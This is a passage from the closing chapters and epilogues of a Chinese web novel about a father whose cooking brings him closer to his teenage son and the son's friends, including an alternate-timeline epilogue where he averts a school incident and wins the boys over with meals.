楚易文听到儿子的话有些无语，心说就算他没醒，视频打过来也会被吵醒。 “楚爸！” “楚爸早上好~” “楚爸你猜我们在哪！” 都不用楚易文回答，镜头很快转到前面，一轮红日从云海中升起，看起来大气磅礴。 “爸，好不好看？” “好看，你们几点开始爬的？”楚易文欣赏着山顶上的日出，觉得果然还是年轻人精力旺盛。 “昨天晚上就开始爬……” “明明是夏天，没想到晚上山上竟然还挺凉快，楚爸我跟你说……” 楚瑾钰几人七嘴八舌地分享着他们的夜爬，其中有趣事，有辛苦，还有终于登顶的成就感。 等到看完日出，兴奋劲过去后，胡一齐开始吐槽起来：“景区什么都好，就是东西又贵又不好吃，要是楚爸你来了就好了。” “你们那种特种兵旅游，我可玩不来。”楚易文光是想到他们计划中要爬的那几座山就觉得腰酸腿软。 叶其林：“哪有，楚爸你身体明明好得很，要是跟我们一起出来，别人保准觉得你像我们的大哥。” “就是就是，以后我就叫你楚爸哥。” 楚瑾钰听到胡一齐的话，笑着说：“那我是不是要喊爸哥？” “爸哥是什么鬼？”大早上的，楚易文被他们逗笑，又关心几句他们身上钱够不够用才挂掉视频。 虽然他没有跟着一起去旅游，但每到一个景点，每爬上一个山顶，楚瑾钰他们就会打视频过来，让楚易文特别有参与感。 这天他在外面钓鱼，接到朋友吴有健打过来的电话前，刚结束和几个孩子的视频。 “你在忙什么呢？” 楚易文：“在外面钓鱼。” “你的店不开了？” “高考都结束了，不想开。” 和他聊了一会后，吴有健发出羡慕的声音：“还真让你小子四十岁就过上退休生活了……” “晚上要不要来我家吃饭？正好钓了条大鱼。”楚易文笑着邀请。 吴有健在他开店大火时就震惊得不行，说过好多次要去店里尝尝他手艺，结果每次都没时间。 “可以是可以，但你就请我吃鱼？” “那肯定不会，你要是过来的话，我再去买几个菜。” 之前在公司里时，楚易文偶尔和吴有健还会因为工作方便原因起点小争执，现在离开公司，两人反而有种回到大学时的感觉。 楚易文朋友不算多，对吴有健这个朋友还挺珍惜，在他答应来家里吃饭后，立刻收拾东西开车去采购食材。 酒局应酬加上忙起来顾不上吃饭，吴有健胃不是很好，晚餐时楚易文想的都是比较清淡的食谱。 山药削皮切块，排骨剁好焯水后，他先把汤炖上，随即开始做苦瓜酿肉、牡丹鱼片、萝卜焖牛腩、芙蓉鸡片。 芙蓉鸡片听起来和牡丹鱼片有点像，但做法要更复杂，它不是直接把鸡肉切成片就好，而是要先把鸡肉打成鸡茸。 楚易文握着刀，用刀背先将鸡胸肉砸松，再用刀刃快速剁成鸡茸，看起来像雪花一样细腻。鸡茸剁好放入盆中，他端起葱姜水和料酒少量多次地加入，同时顺时针打搅上劲。 如果说最开始时，他是抱着用美食来缓和儿子的关系想法学习厨艺，那么现在就是发自内心享受起做菜的过程。 鸡茸处理好，他拿出鸡蛋将蛋清打到碗中，搅拌好后加入鸡茸、白胡椒粉、盐、淀粉，顺着一个方向轻轻搅拌，最终成形有点像酸奶的鸡浆。 鸡浆调好，楚易文起锅烧油，油温三成热时用勺子将鸡浆从高处沿着锅边淋入油中，伴随“滋滋”油声响起，鸡浆在高温下凝结成片状，很快就浮到油面上，看起来洁白如玉。 鸡肉特有的鲜味和油炸产生的焦香从油锅里飘出来，令人食欲大开，也就是楚瑾钰他们不在，否则早就被香味吸引到灶台边。 楚易文拿起漏勺先给鸡片翻个面，随即将它压入油中炸几秒再捞出来，完美的“滑油”手法让炸好的鸡片看起来特别漂亮。 鸡片全部炸完，厨房里弥漫着一股浓郁香味。在这股香味中，他开始调芡汁，用水淀粉调出来的玻璃芡看起来很是明亮，裹在鸡片上越发衬托出鸡片的洁白。 菜出锅，鸡片堆叠在盘中，看起来纯净、洁白，像是一片片盛开的芙蓉花瓣。随着楚易文将一点豌豆苗点缀其中，那抹翠绿色如花叶一般，承托得芙蓉鸡片更加漂亮。 吴有健倒是挺准时，菜刚坐好人就到门口，门刚打开就被诱人的饭菜香扑了满脸。 “好香！看来我今天有口福了。”他说完在香味诱惑下，不由加快脚步走进餐厅。 “嚯，这都是你做的菜？” 吴有健不是没刷过他拍的视频，但从手机上看和现实还是有区别，他被桌上色香味俱全的菜色给惊艳到，不由吐槽起来：“你小子藏得可真深，大学那会竟然不知道你还有这一手！” 楚易文总不能说大学那会他还不会做菜，只能随便笑两下，随即招呼他吃饭。 “你这菜做得也太漂亮，尤其是这两盘，简直像艺术。” 得知两道菜分别是牡丹鱼片和芙蓉鸡片，吴有健继续夸道：“你还真是把菜做出花来了。” 他说完，忍不住拿手机拍照，拍完才迫不及待拿起筷子品尝。 芙蓉鸡片不光卖相诱人，味道更是无可挑剔，极致的软嫩滑爽让它不用怎么咀嚼就在嘴里化开，让人感受到什么叫“吃鸡不见鸡”。 鸡肉和鸡蛋的鲜味完美融合，配上简单的调味，咸淡适中，余味悠长。 “这是鸡肉做的？我倒是吃出鸡鲜味了，但完全吃不出是鸡哪里的肉。”吴有健连吃两片鸡片后微微睁大眼睛。 楚易文笑着道：“是用鸡胸肉做的。” “鸡胸肉？鸡胸肉怎么会这么嫩滑。”吴有健说完又吃一片，感受着嘴里“清、鲜、嫩、滑”的滋味，完全和柴柴的鸡胸肉联想不到一起去。 楚易文：“鸡胸肉打成茸，再配上鸡蛋清，做出来自然嫩滑。” “厉害，你这手艺比酒店大厨还好，早知道你有这个手艺，咱们当初何必搞什么建筑公司，都可以直接开酒店了。” 这句话说完，吴有健很快就沉浸在美食中，压根顾不上和他聊天。 楚易文不是很爱喝酒，但难得招待朋友，他还是准备了瓶好酒，结果就看到对方吃得根本没有要喝酒的打算。 他唇角扬了一下，随即握着筷子慢条斯理地吃起来，感觉今天这道芙蓉鸡片做得确实不错，口感细腻无渣，颜色更是洁白无瑕。 芙蓉鸡片要做到这两点可不容易，前者必须把鸡茸剁得特别细腻，后者则是要把握好油温，但凡油温高一点，鸡片就会被炸黄，无法形成洁白的芙蓉片。 直到七分饱后，吴有健进食的速度终于慢下来，嘴巴也能抽空和他聊几句：“吃得真舒服，早知道你做饭好吃，我就该天天过来蹭饭……” “我又没不让你来，谁让你那么忙。”楚易文见他不想喝酒，顺手盛了碗汤递过去。 “你还好意思说，要不是你走了，我能这么忙？” 吴有健语气透着幽怨，随即又羡慕起来：“你现在这日子，过得是真潇洒。” 羡慕归羡慕，但真让他放下公司过和楚易文一样的养老生活，他肯定做不到。 人总是如此，羡慕自己得不到的生活。 楚易文觉得如果没有那个梦，那他可能也没那么容易放下公司，闻言只是笑笑不说话。 再三夸赞过他的厨艺后，吴有健很快又和他一起回忆起曾经的校园生活，感叹时间易逝。 聚餐结束，吴有健依旧得回到公司为事业而忙碌，楚易文则是继续他的悠闲养老生活。 次日。 由于旅游的地方下了雨，今天楚瑾钰他们没出门，而是窝在酒店里边玩手机。 “这小龙虾还没楚爸做得好吃。” “我忽然有点想吃楚爸做的香辣蟹。” 几人坐在酒店里吃着外卖，却是怀念起楚易文的手艺来。 “别说了，本来就吃不下。”楚瑾钰说完直接放下筷子，拿起手机玩起来，在拿昨天拍的照片发朋友圈时，忽然注意到一条朋友圈。 “我爸竟然在家做我都没吃过的菜。” 楚瑾钰话落，胡一齐立刻凑过来，很快被手机上色香味俱全的那桌菜给吸引。 “这是什么菜？”胡一齐指着芙蓉鸡片道。 楚瑾钰：“不知道，没吃过。” 他说完，直接一个电话打回家，张口就是：“爸，我看到吴叔叔的朋友圈了！” “你吴叔叔昨天有空，我请他来家里吃个饭。怎么了？”楚易文语气透着疑惑。 “白色那盘是什么菜？你都没做给我吃过！” “是芙蓉鸡片，最近新学的菜，等你回来就做给你吃。” 楚易文话落，电话那头几个孩子立刻七嘴八舌吐槽起来，说外卖不好吃。 “你们怎么不出去找点当地特色尝尝？” “下雨了，出门不方便。” 楚易文并没有跟他们一起出去旅游，但每天都能接到电话和视频，让他莫名有种参与感。 人生就是用来体验的，体验过开店的忙碌后，他格外享受现在的悠闲。 如此又过了两天，晒黑好几个度的特种兵四人组旅游归来，直接拖着行李箱和楚瑾钰一起回家。 “楚爸，我好想你啊！” “爸，我回来了！” 人还没进门，声音先传进来，楚易文直接起身走到院子里给他们开门。 “怎么晒得这么黑。” 胡一齐嘿嘿傻笑两声，随即道：“楚爸，我好饿啊！” “爸，我想吃辣子鸡丁，昨天吃到个特别难吃的辣子鸡丁，鸡肉小得可怜就算了，还特别咸……” 出去旅游这趟下来，楚瑾钰他们玩得倒是挺开心，唯一不好的是，用餐时总是怀念家里的饭。 楚易文知道他们今天会回来，早就提前准备了食材，直接进厨房就开做。 辣子鸡丁、香辣蟹、芙蓉鸡片、红烧排骨、苦瓜酿肉、清炖牛肉汤。 丰盛的饭菜上桌，楚瑾钰几人像是几百年没吃过饭一样，吃得那叫一个狼吞虎咽。 “太好吃了，这才是辣子鸡丁该有的味道，那家店做的是什么鬼。” “楚爸，这芙蓉鸡片真是用鸡肉做的吗？好滑好嫩啊！” “真香，有种重新活过来的感觉……” “慢点吃，别噎着。”楚易文看到他们那个吃相，赶紧将汤分别推过去。 楚瑾钰端起碗喝了口汤，舒服地喟叹一声：“还是爸你炖的汤好喝，外面的汤我真是喝不惯。” 楚易文不觉得外面一点美食都没有，但看到孩子们如此喜欢他做的饭菜，心里还是很有成就感。 和楚瑾钰比起来，商时贸口味更淡些，那道芙蓉鸡片特别受他欢迎。 薄薄的玻璃芡汁恰到好处裹着鸡肉，为鸡肉带来咸鲜的底味，吃起来嫩滑无比。 “楚爸你做的芙蓉鸡片真是又漂亮又好吃。” 商时贸话落，楚瑾钰开口道：“确实又好看又好吃，不怪那天吴叔叔发朋友圈大夸特夸。” “都不用怎么咬就在嘴里化开，怪不得叫吃鸡不见鸡。”胡一齐感受着在嘴里化开的芙蓉鸡片，享受着那嫩滑的口感。 见他还知道“吃鸡不见鸡”，楚易文唇角不自觉勾起来。 胡一齐：“楚爸，上大学后我还能天天过来蹭饭吗？” “当然，想吃随时来。” 人心都是肉做的，随着这两年相处，在楚易文心里，胡一齐他们跟自家孩子都差不多。 “楚爸你真好！”胡一齐闻言露出开心的笑容，拿起公筷往他碗里夹了几个排骨。 楚瑾钰：“爸你看他一段时间不吃你做的饭就瘦了，为了让他减肥成功，你应该拒绝的。” “一齐又不胖，不用减肥。”楚易文笑着道。 胡一齐：“还是楚爸你对我好！” “我爸那是说客气话……” 随着胡一齐和楚瑾钰开始拌嘴，饭桌上瞬间就热闹起来，楚易文笑着摇头，觉得他们是真一会不吵就不舒服。 由于太想念楚易文的手艺，胡一齐他们在楚家住了两天才各自回家，而此时，也到了可以查分的时候。 楚瑾钰高考分数比估分只高不低，报考云大绝对没问题，志愿填报完，等到录取通知书下来，楚易文带着他回老家扫墓。 表姨奶夫妻俩得知楚瑾钰考上大学，一个劲夸他，连“打小就聪明”这话都出来，搞得楚瑾钰都有点不好意思。 暑假正是最热的时候，山上长了许多割人的芒草，伴随着嘈杂的蝉鸣声，有点令人烦躁。 父子俩费了点工夫将碍事的芒草割掉，走到坟墓前时，一阵山风扑面而来，带来几分凉爽。 “奶奶、爷爷、妈，我考上云大了……” 楚瑾钰给几位长辈磕完头，跪在墓碑前边烧纸钱边和他们分享这个好消息。 扫墓结束，楚易文想到儿子的命运已经和那个可怕的梦走向完全不同，用一种放松的情绪默默对着面前的墓碑保证，让他们都放心，自己会照顾好儿子，也会照顾好自己。 又一阵山风拂来，父子二人从山上离开，地上的影子被阳光拉得很长，而楚瑾钰也马上要迎来人生新的阶段。 第104章 番外 东坡肉 楚易文发现自己回到儿子高二下学期时接受得很快, 毕竟系统都有了，再遇到什么事他都不觉得奇怪。 不过当他从脑海中获取和自己在同时间段完全不一样的记忆后，他心里却是一惊, 立刻拿起车钥匙就往学校赶。 这个世界的他没有获得系统，也没有做梦，依旧是那个天天早出晚归的工作狂，昨天他接到老师的电话，说儿子在学校抄作业，有点生气地教育了儿子。 他或许不知道接下来会发生什么，但楚易文却清楚, 梦中楚瑾钰就是在第二天找邵言易质问，结果导致悲剧发生。 自从儿子上大学后，进入半养老状态的楚易文已经很久没这么紧张过, 他一路开车到学校，此时正是放学时间，他趁门卫不注意赶紧跑进学校。 学生们都在三五成群往校门方向走, 看到他往里跑时不由多看两眼，不过也没放在心上。 楚易文顺着教学楼快步跑上天台, 生怕自己来晚了，好在就在他站在天台门外平复呼吸时，听见熟悉的声音。 “呵呵，不是你告的状老师怎么会知道？” “就是, 而且都有人看到你从老师办公室出来了，你敢做不敢当？” “我没说，是老师知道了找我过去确认，你们不信就算了。”邵言易是不想惹事，但被一直问还耽误回家时间还是有点烦。 楚瑾钰听到他这个语气有些生气, 正要说什么时，却听身后传来推门声。 他本来以为是其他学生或者老师过来，然而没想到转头却看到他爸，眉头不由皱起。 这个世界的胡一齐三人组在楚瑾钰爷爷奶奶去世后就很少去他家，但还不至于不认识他爸。因此空气里沉默半响后，叶其林开口喊了声“叔叔”打破这片沉默。 习惯孩子们看到他就热情凑过来的场景，楚易文此时还有些不适应，冲叶其林点点头算作回应后开口：“走了，回家了。” 从记忆里知道，此时儿子和“他”的关系比当初他和儿子还要差很多，楚易文什么废话都没说，招呼完就带头转身。 他的出现将楚瑾钰几人注意力转移走，自然不会有后续的争吵，以及摔门导致邵言易被锁在天台的情况。 “你爸怎么过来了？” “鬼知道，烦死了……” 楚易文下楼时用余光观察，确定五个孩子一个不少全都下来，继续带头往前走，对于后面儿子和胡一齐他们凑在一起嘀嘀咕咕猜测他为什么会突然来学校，只当听不见。 到学校外面后，楚易文让他们都上车，并将邵言易安排到副驾驶位置，省得他被排挤。 邵言易本来是拒绝的，但对上他看过的眼神，不知为何总感觉有些亲切，于是在被他拍着肩膀推向副驾驶时，最终还是坐进车里。 “谢谢叔叔。” 对于邵言易也坐上车，从楚瑾钰几人脸上表情能看出来，他们很有意见。 “为什么先送他回家？”楚瑾钰不爽道。 见他连爸都不叫，楚易文已经开始想念哪怕上了大学还天天“爸爸爸”个没完的儿子。 “你的意思是带他一起回我们家住？我倒是没问题。”楚易文边开车边说，车速在不违规的情况下开到最快。 此时正值六月，天气正是热的时候，人的情绪本来就容易烦躁，不过好在车里有空调，适宜的温度倒是能减轻一些这种躁意。 楚瑾钰听到这话，想到他昨天指责他不该抄作业的严肃语气，觉得他肯定是嫌弃自己，恨不得能有像邵言易一样的学霸儿子。 “那你送他好了，不用管我，停车让我下去！” 坐在旁边的胡一齐怕楚瑾钰和他爸吵起来，赶紧拍着他胳膊小声道：“算了算了……” 楚易文心里暗暗叹气，好在前面就快到邵言易家的巷子，他干脆当没听见。 “谢谢叔叔，在巷子口停车就好。” “没事，我直接开进去。” 巷子里没灯，看起来黑漆漆的，不过路还算宽，车子开进去完全没问题，楚易文一脚油门就直接开到他家门口。 邵言易有点诧异他怎么知道自己家在哪，不过想来想去觉得可能只是巧合，再次道谢后下车回家。 “奶奶，我回来了。” 邵言易喊了两声还没人应，他心里莫名有种不好的预感，掏出钥匙将门打开。 屋里很快传来他带着慌乱的声音，楚易文听见立刻下车跑进去，见他奶奶已经摔倒磕破头，赶紧打120。 楚瑾钰原本还在嘀嘀咕咕，觉得他爸对外人都比对他好，不过在下车发现邵言易家里人出事时，他和叶其林几人立刻就跟着慌乱起来。 “没事，别怕，医生很快就来了，瑾钰，你赶紧从车上拿医药箱过来，先给她止血。”楚易文见几个孩子都慌了，开口安抚道。 “好。” 楚瑾钰闻言顾不上跟他闹脾气，赶紧跑回车上将医药箱拿出来。 在楚易文用纱布按住李老太太脑袋上的伤口尽量将血止住时，没多久救护车就开过来，医生护士们接手老太太，很快将她带上车。 楚易文给了邵言易一个拥抱告诉他不会有事后，让他上救护车跟车，自己则带着楚瑾钰他们开车跟上。 “我先送你们回家，然后过去医院看看有什么需要帮忙的地方行不行？” 此时楚瑾钰倒是没再觉得他去帮忙是对外人比对自己好，反而道：“不用了，直接去医院吧。” 他是被爷爷奶奶带大的孩子，想到刚刚邵言易奶奶躺在地上的画面，很能共情。在生死面前，什么告状不告状都已经是小事。 “对啊叔叔，还是直接去医院吧，反正明天是星期六，不用上学。”胡一齐道。 楚易文闻言觉得也行，边继续跟在救护车后面边道：“那你们跟家里人报备一声，晚上干脆就在我家住。” 医院。 由于送医及时，李老太太情况不算特别严重，伤口缝合完就安排到病房中。 住院手续都是楚易文帮忙办的，费用什么的也是他掏的。 确定奶奶没事，邵言易情绪终于稳定下来，掏出身上所有的现金递过去：“叔叔，我身上只有这么多，剩下的钱等明天还你。” “钱的事你别操心，先照顾好你奶奶，等你上班赚钱了再还我也一样。” 楚易文说完又交代几句，并把自己号码留给他，告诉他有事打电话后才带着楚瑾钰他们离开医院。 到家时已经很晚，楚易文看着坐在沙发上安安静静的几个孩子，感觉怪不适应。 “你们饿不饿？要不要吃东西？” 楚瑾钰没吱声，倒是胡一齐点头应了声：“有点饿。” “那你们等一会，我去做点吃的。”楚易文说完走进厨房。 胡一齐本来以为他会点外卖，听到他说自己做，用胳膊肘撞着楚瑾钰小声说：“你爸竟然会做饭？” “他哪会做饭，估计是去厨房泡面。”楚瑾钰道。 胡一齐闻言“啊”了一声，显然不太想吃泡面：“那还不如点外卖呢，这会外卖应该还能点到烧烤什么的。” 厨房里。 楚易文空有一身满级厨艺，然而打开橱柜和冰箱，却是有种巧妇难为无米之炊的感觉。 显然他早就忘记，在他自己会做饭前，他和儿子基本不在家里吃饭，偶尔放假才会请人上门做几顿饭，家里自然不会屯食材。 他在厨房找了一圈，最终只找到一小袋没开封的面粉，以及最基本的油盐酱醋糖。 大晚上的，简单吃点算了…… 楚易文心里想着，直接把面粉拆开调了个面糊，起锅开火，在锅底薄薄刷成油后，用面糊烙出一张又大又圆的薄饼。 随着他轻轻一个颠锅，薄饼直接翻个面，看起来又香又软，散发出小麦特有的清香。 “好香啊……” 胡一齐闻见饼香不由伸长脖子看向厨房，同时对楚瑾钰道：“你不是说你爸不会做饭？” “我哪知道，他之前又没做过。”楚瑾钰说完又有点不高兴。 烙饼对楚易文来说简直轻而易举，很快一个形状完美的饼就烙好，出锅前他在饼里撒上白糖，再用筷子将饼卷起来盛到盘子里，一个白糖卷饼就做好。 饼的热度将白糖融化，白糖香甜的气息和饼的麦香融合，闻起来更加诱人。 在楚易文烙出一盘子白糖卷饼时，那香甜浓郁的气息终于让胡一齐受不了诱惑，直接走进厨房。 “叔叔，你在做什么好吃的？” 楚瑾钰其实也有点好奇，见胡一齐过去，便故作自然地起身跟上。 “家里没有食材，简单做了点饼，你们凑合着吃点，等明天我再给你们做好吃的。”楚易文说完将那盘已经烙好的饼递过去。 “谢谢叔叔。” 作为一个吃货，胡一齐看到吃时可不会客气，洗完手直接拿起个还热乎的卷饼就试图开吃，被烫到才知道拿个碗接着。 “唔，这哪叫凑合，这也太好吃了！” 比例完美的面糊烙出来的饼又香又软还带着几分韧劲，配上被融合的糖浆，吃起来香甜可口。白糖一部分融化成糖浆，还有一部分没完全融化，带着微微的颗粒感，反而增添了饼的口感，令人越吃越香。 胡一齐吃得眼睛都亮起来，不明白为什么看起来简简单单的卷饼味道竟然这么好。 看到他那个吃相，本来不饿的楚瑾钰忽然也有点饿，带着“我倒要看看是不是真好吃”的想法拿起个卷饼，一口咬下去，饼的松软和糖浆的香甜完美融合，咀嚼间小麦香和冰糖的清甜气息弥漫开来，这种完全来自食材本身的美味，好吃到让人满足。 楚瑾钰吃饼的动作不自觉加快，心里有种见鬼的感觉，显然是没想到他爸竟然真会做饼，还做得如此好吃。 很快，四人直接站在厨房里就吃起来，吃得一个比一个香。 甜食本来就能给人带来好心情，再加上卷饼带来的饱腹感，楚瑾钰他们越吃表情就越放松，很快就完全沉浸在美食中。 胡一齐努力“嚼嚼嚼”，嘴巴被白糖卷饼塞得满满的，心里则在感叹：怎么会有这么好吃的饼！ 吃饱喝足，他回味着嘴里的余味夸道：“叔叔，你做的饼真好吃！感觉你这手艺，出去开店都没问题。” 吃人嘴软，加上白糖卷饼确实美味，叶其林和商时贸也跟着夸了几句。 吃完东西消化一会，楚易文拿出毛巾牙刷等生活用品道：“早点休息，睡觉之前记得刷牙。” “知道了，我们又不是三岁小孩。”楚瑾钰语气透着点不耐烦。 小破孩。 楚易文心里笑骂一句，伸手拍了下他脑袋，力道并不重：“你好好说话，不然明天做好吃的没你的份。” “说得跟你是什么大厨一样……” 可能是吃过他做的白糖卷饼，怕他真会做明天被打脸，楚瑾钰在他转身离开后才边揉着被他拍过的头发边小声嘀咕。 对于楚瑾钰他们这些年轻人来说，放假不熬夜等于白放，因此在楚易文回房间睡觉后，他们还在边聊天边打游戏，直到凌晨两点多才睡。 次日早上。 楚易文猜到他们昨晚肯定会熬夜，起床后直接去外面吃早餐，吃完开车直奔码头菜市场。 等他买完菜回来，太阳已经升得老高，然而家里却是依旧很安静。 楚易文并没有去喊他们起床，打电话和吴有健说一声这两天有事不去公司后，到点便开始准备午餐。 他将玉米切段，胡萝卜切块，排骨焯水去腥，很快就用砂锅先把汤炖上，随即开始做菜。 今天菜市场五花肉很不错，他买了一块回来准备炖个东坡肉。五花肉切成五厘米的大方块，用棉绳进行捆绑后冷水下锅，加姜片、料酒去腥、定形。 五花肉焯完水，楚易文往锅里下入冰糖，开始炒糖色。随着五花肉裹上均匀的糖色，肉香混着焦糖气息从锅里飘出来，闻着特别诱人。 苏东坡说东坡肉需要“慢着火，少着水，火候足时它自美”。 糖色炒好，楚易文在砂锅底下用姜片和葱铺满，去腥增香的同时还能防止肉皮粘底，随即将五花肉放进去，加冰糖、生抽、老抽、花雕酒开始小火慢炖。 这道菜得炖至少两个小时，剩下的时间楚易文也没闲着，继续处理食材做其他菜。 随着时间的流逝，砂锅里花雕酒的酒味已经被挥发，只留下酒的芬芳和肉鲜味融为一体，其中还夹杂着酱香、焦糖香、葱姜的辛香。 房间里。 “你们有没有闻见香味？” 胡一齐眼睛都还没睁开，鼻子倒是挺灵。 楚瑾钰被他吵醒，翻个身道：“哪有什么香味，我看你是睡迷糊了。” 胡一齐用力嗅了几下，感觉确实闻见股诱人的肉香，不由打着哈欠坐起来，随即起身去开门。 随着他把房门打开，一股浓郁荤香扑面而来，香得他口水差点没流出来。这下别说他，就连房间里其他几个人都闻到，不由坐起来。 “好香啊！” 胡一齐说完直接顺着香味找到厨房，就看到灶台前楚易文正在煎鱼，立刻又被鱼鲜味香了一脸。 “叔叔你在做什么好吃的？我在房间里都闻见味了，太香了！” “做了东坡肉、薯粉团、红烧鸡翅、糖醋鱼、辣子鸡丁、香菇炒青菜、玉米胡萝卜排骨汤。” 随着楚易文报出菜名，胡一齐感觉口水都快流下来，喉咙滚动几下才再次开口：“哇，叔叔你好厉害，竟然会做这么多好吃的！” “马上可以吃饭了，你叫他们出来吧。” “好的叔叔！我立刻去。” 胡一齐说完扯着嗓子喊他们准备出来吃饭，结果被叶其林提醒他还没有刷牙洗脸，于是赶紧跑回房间。 等到饭菜全部上桌时，叶其林忍不住凑到楚瑾钰耳边吐槽：“你爸明明会做饭，还做得那么好！你小子，瞒得那么紧是怕我们过来抢饭吃吗？” “谁瞒你们了，我也是才知道。” 楚瑾钰有点不爽，但望着桌上色香味俱全，光看一眼就会被馋到的菜肴，到底说不出不吃的话。 哼！不吃白不吃！ 抱着这种想法，在楚易文落座招呼他们吃饭时，楚瑾钰直接夹了块薯粉团到碗里。 外焦里糯的薯粉团带着花生的香脆、腊肉的鲜香和嚼劲、青菜爽脆，简直不要太美味。 楚瑾钰被薯粉团给好吃到，眼睛都亮了几分，甚至顾不上为他爸会做薯粉团竟然现在才做给他吃而生气，大口大口吃得别提有多香。 胡一齐和他不同，筷子直接伸向东坡肉，挑着棉绳将肉夹起来时，看到肉块微微颤动，恨不得立刻送进嘴里。 东坡肉终于进嘴，他瞬间感受到肉皮的软糯弹牙，一口下去满满都是胶原蛋白，那肥而不腻、甜咸适中的滋味，香得他不自觉轻晃脑袋。 太好吃了！怎么会有这么好吃的肉！ 胡一齐边在心里感叹东坡肉的美味，边继续大口吃着，发现不光肥肉部分好吃，瘦肉部分更是酥烂入味。 冰糖带来的甘甜和酱油的咸鲜达成完美平衡，甜中带咸，咸中有甜，长时间的炖煮将肥肉里多余油脂煮出来，让整道东坡肉吃起来肥而不腻、烂而不柴，香得令人陶醉。 整块东坡肉吃完胡一齐都没觉得腻，反而回味着嘴里的余味感觉根本没吃够。 “叔叔你做的东坡肉太好吃了，简直是我这辈子吃过最美味的东坡肉！” 胡一齐话落，叶其林赞同地点头：“确实好好吃，吃起来一点都不腻，特别香。” 商时贸：“我第一次发现甜咸口的菜这么好吃。” 听到他们的话，楚瑾钰吃完碗里的薯粉团夹了块东坡肉，一口下去，浓稠的汤汁在味蕾上蔓延开来，甜咸适中，咀嚼间肉皮软糯可口，肥肉直接在嘴里化开，但却完全没有油腻感，而是满满的脂香。 肥肉炖到入口即化的地步，但下面瘦肉却是完全不柴，酥烂入味，越吃越好吃。 “糖醋鱼也好香啊！尤其是煎得焦焦的鱼皮，好好吃啊！”胡一齐已经开始吃糖醋鱼，立刻被那股酸甜开胃，外焦里嫩的滋味给惊艳到。 鱼皮其实是很美味的，但外面一些饭店鱼鳞处理得不到位，就让很多人吃鱼时对鱼皮有些排斥。 楚易文做的糖醋鱼鱼鳞刮得很彻底，同时用中小火将鱼皮煎得微焦，配上酸甜口的料汁，简直别提有多美味。 叶其林他们本来就没吃早餐，吃着吃着，很快便完全沉浸在美食中，甚至开始抢菜。 没办法，此时的楚易文厨艺已经达到满级状态，他们又是第一次吃，发现每道菜都如此美味，不抢才奇怪。 “还有那么多呢，不够我再给你们做。”楚易文看到他们吃得那么香，心里成就感满满的同时又有些好笑。 午餐结束，楚瑾钰几人把汤都喝完，撑得坐在椅子上感觉连起身都费劲。 美食能令人心情愉悦，接下来两天楚易文发挥自己的厨艺，让他们吃好喝好，等叶其林他们回家后，终于有空和儿子谈心。 其实解决他和邵言易的误会很简单，楚易文直接打电话给班主任，让他说明告状的人不是邵言易就好。 “谁知道班主任是不是替他隐瞒……”楚瑾钰道。 楚易文：“这有什么好隐瞒的，你抄作业本来就不对，老师难道还怕你不成？” 楚瑾钰闻言，表情立刻落下来。看得出来，如果不是这两天他吃人嘴软，怕是早就要闹脾气，或者直接起身跑路。 感觉这个时期的儿子比他那会还难拉近关系，楚易文也没有着急，而是道：“行了，作业你要是不会做，我教你就是。” 有过前车之鉴在，楚易文倒是不敢再说什么作业不想做就不做的话，不然到时候他又要觉得自己不关心、不在乎他。 “你都毕业那么久了，我才不信你会。”楚瑾钰说完直接跑回房间，望着桌上的作业，最终还是没有做，而是直接躺在床上玩手机。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第105章 番外（全文完） 第105章 番外（全文完） 俗话说得好, 一回生，两回熟。有过成功和儿子改善关系经历的楚易文在接下来的时间先退出公司，再每天去学校送饭, 一周时间不到，直接拿下胡一齐几人。 楚瑾钰在听见他们动不动就夸他爸时，忍不住吐槽几句，觉得他们简直太容易被收买。 “胡一齐是吃货就算了，你们俩怎么也这样？” “你爸已经很好了，之前他可能是忙，现在不是挺关心你。”叶其林道。 商时贸：“最重要的是爱屋及乌, 甚至连我们的口味都注意到，从这点上看，你爸人真挺好。” “就是, 就是。”胡一齐。 楚瑾钰：“切，他不就是做了几天饭，我奶奶以前天天给我做……” “要不我们换一下, 把我爸给你吧。”胡一齐用期待的眼神望着他，显然恨不得真和他换个爸。 作为一个吃货, 他早就受不了学校食堂的饭菜，周边外卖也都已经吃腻，这几天吃到的饭菜简直令他惊为天人，恨不得吃一辈子。 “滚, 我才不换。”楚瑾钰没好气道。 胡一齐：“那你对叔叔态度好点，不然叔叔不高兴了怎么办。” “他高不高兴关我什么事，我还不高兴呢！” “你不高兴无所谓，叔叔不高兴了不给我们做饭怎么办？”胡一齐说完见他一副想打自己的表情，补充道, “难道你更想吃食堂的饭？” 楚瑾钰又不傻，不可能非要自讨苦吃，他嘴硬归嘴硬，等下午楚易文再次送饭过来时，态度不自觉软和几分。 “爸。” “叔叔辛苦了！” “叔叔你做什么好吃的了？” 楚易文将保温桶递过去，笑着报出晚餐菜色：“有红烧排骨、椒盐大虾、樱桃肉、辣椒炒蛋、清炒莴笋、三鲜汤。” “哇，听着就好好吃。” 楚易文送完饭没立刻离开，而是主动跟儿子聊了几句，见他终于能好好和自己说话，眼底笑意加深。 学校食堂。 保温桶刚打开，胡一齐立刻夹起块红烧排骨送到嘴边，炖煮到位的排骨肉质那叫一个软烂，轻轻一咬肉就进嘴，吃起来咸鲜入味，余味中带着糖色的淡淡回甜。 “太好吃了，比食堂的红烧排骨好吃一百倍！” 小火慢炖让肉吸满汤汁，同时软烂而不柴，咀嚼间满满都是肉鲜味，好吃到胡一齐有点想哭。 就冲这道色香味俱全，好吃到令人陶醉的红烧排骨，他觉得楚瑾钰简直是身在福中不知福。 “楚瑾钰说真的，你爸多好啊，你不要给我吧。” “吃都堵不住你的嘴。”楚瑾钰白他一眼，觉得他真是烦人。 叶其林吃着香喷喷的椒盐大虾，感觉这辈子没吃过这么美味的虾，对胡一齐的话很赞同：“你爸确实挺好的，又会赚钱还会做饭。” 商时贸：“你确定你爸没去进修过厨艺？他做的菜比五星级酒店大厨还好吃，就连这道看起来简单的清炒莴笋都格外脆嫩爽口。” 碧绿色莴笋被切成漂亮的细丝，只简单配了点青红椒当搭配，吃起来咸鲜清淡，爽脆美味。 眼见几个朋友全部都站在他爸那边，楚瑾钰叛逆心理都被激发出来，然而他一怒之下也就一怒了一下，毕竟让他放下筷子不吃饭，他还真舍不得，让他和三个人打一架，他又打不过。 实在是没招了，楚瑾钰干脆化悲愤为食欲，握紧筷子不停往碗里夹菜，哐哐干饭。 还别说，红烧排骨是真好吃，完美的糖色不光让排骨卖相诱人，更为它添了抹恰到好处的焦糖甜味，肉的咸鲜浓郁和微微回甜达成完美平衡，越吃越香。 